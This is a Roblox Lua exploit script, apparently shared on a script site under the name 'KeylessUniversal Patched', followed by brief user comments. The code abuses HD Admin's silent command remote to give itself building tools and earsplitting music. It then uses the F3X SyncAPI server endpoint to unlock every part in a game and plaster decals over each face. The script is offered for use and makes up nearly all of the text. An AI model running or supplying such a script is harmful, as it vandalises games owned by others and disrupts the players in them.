
KeylessUniversal Patched

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88. ~8~ 88b d88 .88. j88. 88booo. 88b d88 88 88 @uniquadev
Y888P ~Y8888P' Y888888P 888888D Y88888P ~Y8888P' YP YP CONVERTER
designed using localmaze gui creator
]=]
-- Instances: 6 | Scripts: 2 | Modules: 0 | Tags: 0
local LMG2L = {};
-- Players.RIZKIADITIA99.PlayerGui.ScreenGui
LMG2L["ScreenGui_1"] = Instance.new("ScreenGui", game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui"));
LMG2L["ScreenGui_1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling;
-- Players.RIZKIADITIA99.PlayerGui.ScreenGui.TextLabel
LMG2L["TextLabel_2"] = Instance.new("TextLabel", LMG2L["ScreenGui_1"]);
LMG2L["TextLabel_2"]["TextWrapped"] = true;
LMG2L["TextLabel_2"]["Active"] = true;
LMG2L["TextLabel_2"]["TextTruncate"] = Enum.TextTruncate.SplitWord;
LMG2L["TextLabel_2"]["TextSize"] = 16;
LMG2L["TextLabel_2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
LMG2L["TextLabel_2"]["TextDirection"] = Enum.TextDirection.LeftToRight;
LMG2L["TextLabel_2"]["FontFace"] = Font.new([[rbxasset://fonts/families/ComicNeueAngular.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
LMG2L["TextLabel_2"]["BorderMode"] = Enum.BorderMode.Middle;
LMG2L["TextLabel_2"]["RichText"] = true;
LMG2L["TextLabel_2"]["SelectionBehaviorUp"] = Enum.SelectionBehavior.Stop;
LMG2L["TextLabel_2"]["Size"] = UDim2.new(0, 158, 0, 28);
LMG2L["TextLabel_2"]["Text"] = [[MADE BY @SAD HAXXOR]];
LMG2L["TextLabel_2"]["LayoutOrder"] = 1;
LMG2L["TextLabel_2"]["Position"] = UDim2.new(0, 596, 0, 588);
-- Players.RIZKIADITIA99.PlayerGui.ScreenGui.LocalScript
LMG2L["LocalScript_3"] = Instance.new("LocalScript", LMG2L["ScreenGui_1"]);
-- Players.RIZKIADITIA99.PlayerGui.ScreenGui.ImageLabel
LMG2L["ImageLabel_4"] = Instance.new("ImageLabel", LMG2L["ScreenGui_1"]);
LMG2L["ImageLabel_4"]["BorderSizePixel"] = 0;
LMG2L["ImageLabel_4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
-- LMG2L["ImageLabel_4"]["ImageContent"] = ;
LMG2L["ImageLabel_4"]["Image"] = [[rbxassetid://137042344433797]];
LMG2L["ImageLabel_4"]["Size"] = UDim2.new(0, 270, 0, 124);
LMG2L["ImageLabel_4"]["Position"] = UDim2.new(0, 542, 0, 216);
-- Players.RIZKIADITIA99.PlayerGui.ScreenGui.ImageLabel.LocalScript
LMG2L["LocalScript_5"] = Instance.new("LocalScript", LMG2L["ImageLabel_4"]);
-- Players.RIZKIADITIA99.PlayerGui.ScreenGui.ImageLabel.UICorner
LMG2L["UICorner_6"] = Instance.new("UICorner", LMG2L["ImageLabel_4"]);
-- Players.RIZKIADITIA99.PlayerGui.ScreenGui.LocalScript
local function C_3()
local script = LMG2L["LocalScript_3"];
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
RequestCommand:InvokeServer(";music 121922837560201 ;pitch 0.2 ;volume inf ;btools")
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam()
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,124872714710239,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,111616848,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,111616664,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,112188192,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,111616722,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,111616450,Enum.NormalId.Top)
end)
end
end
end
spam()
end;
task.spawn(C_3);
-- Players.RIZKIADITIA99.PlayerGui.ScreenGui.ImageLabel.LocalScript
local function C_5()
local script = LMG2L["LocalScript_5"];
local screen =
script.Parent
wait(7)
screen:Destroy()
end;
task.spawn(C_5);
return LMG2L["ScreenGui_1"], require;

![[KEYLESS] Moondiety Script | 17+ supported Games](https://scriptblox.com/images/sb/0-1753093706828.png)

a
what it do?
@Kat_N admin script sum like that i think
@yoyoyoo used for hd admin and btools shi